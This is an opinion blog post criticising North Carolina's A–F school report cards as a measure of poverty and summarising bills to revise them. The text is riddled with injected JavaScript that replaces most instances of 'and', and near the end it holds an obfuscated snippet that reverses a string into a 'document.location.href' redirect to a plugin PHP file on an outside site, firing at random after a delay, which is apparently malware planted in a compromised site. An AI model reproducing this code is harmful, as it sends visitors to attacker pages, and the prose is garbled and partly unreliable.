Flawed Grades Punish Poverty

>>sad-girl-in-schoolNorth Carolina’s new school report cards debuted with the apprehension, confusion, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dismay that many of us remember from bringing home our own grades. Now, schools are waiting to see if legislators will curve the grades or change the scale altogether.

Back in February, each North Carolina school received – for the first time – a letter grade from A to F. More than 65% of NC schools received a C or better, but only about 5% received A’s.

A school’s grade was calculated using a formula of 8% school achievement (scores on standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andardized tests, end-of-grade tests, ACT scores, etc.) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 20% growth (how student performance changed over time as compared to the typical rate of growth for the state overall).

This year the grades were calculated on a 15-point scale, so schools received A’s if they scored between 85-90 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and F’s if they scored below 39. Under the current law, that grading scale is set to shift to a 10-point scale next year.

These report cards, ostensibly designed to give parents an easy way to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how their child’s school is doing, are decidedly flawed. There is a high correlation between failing grades andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and poverty, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the academic improvements in schools with low-income students are undervalued.

In fact, >>an analysis by N.C. Policy Watch found that of the nearly 30% of schools receiving letter grades of D or F, almost all of them are designated as high poverty schools with at least 50% of their students receiving free or reduced lunch.

“The only thing these grades tell us is where our poor children go to school andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and where our rich children go to school,” said Lynn Shoemaker, the  Issues andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Advocacy Director at Women AdvaNCe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a 23-year veteran public school teacher representing the advocacy group Public Schools First NC, according to NC Policy Watch.

The grades are another insult for North Carolina’s schools andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teachers, already inundated with a myriad of tests andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and curriculum requirements while facing an ongoing shortage of resources. A number of legislative proposals attempt to address some of the weaknesses of the grading system. Here’s a quick run-down:

  • >>House Bill 358 would keep the 15-point grading scale for two more years, providing consistency andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and giving schools more time to adjust. According to >>The News & Observer, if a 10-point scale had been used this year, more than 70% of the state’s schools would have gotten D’s or F’s. This bill passed the House on March 31st andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has the best chance of becoming law this year. There is a companion bill in the Senate, S450.
  • Wake County Sen. Josh Stein introduced >>legislation to change the grading formula to 40% achievement andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 60% growth to better account for improving schools.
  • Rep. Tricia Cotham, a former teacher andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and assistant principal, would take the changes even further, shifting the formula to 20% achievement andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 80% growth. Her >>bill has been referred to the Education Committee.
  • Another >>bill would change the grading system to give schools two grades – one for achievement andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one for growth. Speaker Pro Tem Skip Stam is a fan of this bill. >>WRAL quoted him as saying: “I like mashed potatoes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gravy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I like Jell-O, but I don’t like my Jell-O mixed up in my mashed potatoes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gravy.”

The future of the more substantive legislative proposals is murky, but there are even larger issues begging to be addressed. Without any funding earmarked to help schools with failing grades or address the challenges they face, what is the real purpose behind the report cards? Is this yet another attack on public schools, designed to boost the “school choice” movement?

>>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-f-grades/#sthash.yI1yC7mL.dpuf” target=”_blank”>In an interview with N.C. Policy Watch, North Carolina Association of Educators Executive Director Mark Jewell said a failing grade amounted to a “scarlet letter,” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Rep. Cotham asked during hearings, “Is this data for shaming purposes?”

Cabarrus County Schools’ Deputy Superintendent for Curriculum andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Instruction, Dr. Jason VanHeukelum, penned a >>powerful piece in response to the grading system.

“The narrative that public schools are failing must stop. The narrow focus on testing has taken away our vision for the whole child andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we have developed an obsession that ultimately deceives us of knowing true success or failure.”

We can’t andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shouldn’t lose sight of these larger issues that carry serious implications for schools andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and for our students.

>>Sara LangSara Lang has worked in North Carolina politics at the state, federal, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local levels for more than 15 years. A communications consultant, she lives in Cary with her husbandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, two young children, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a pampered dog.




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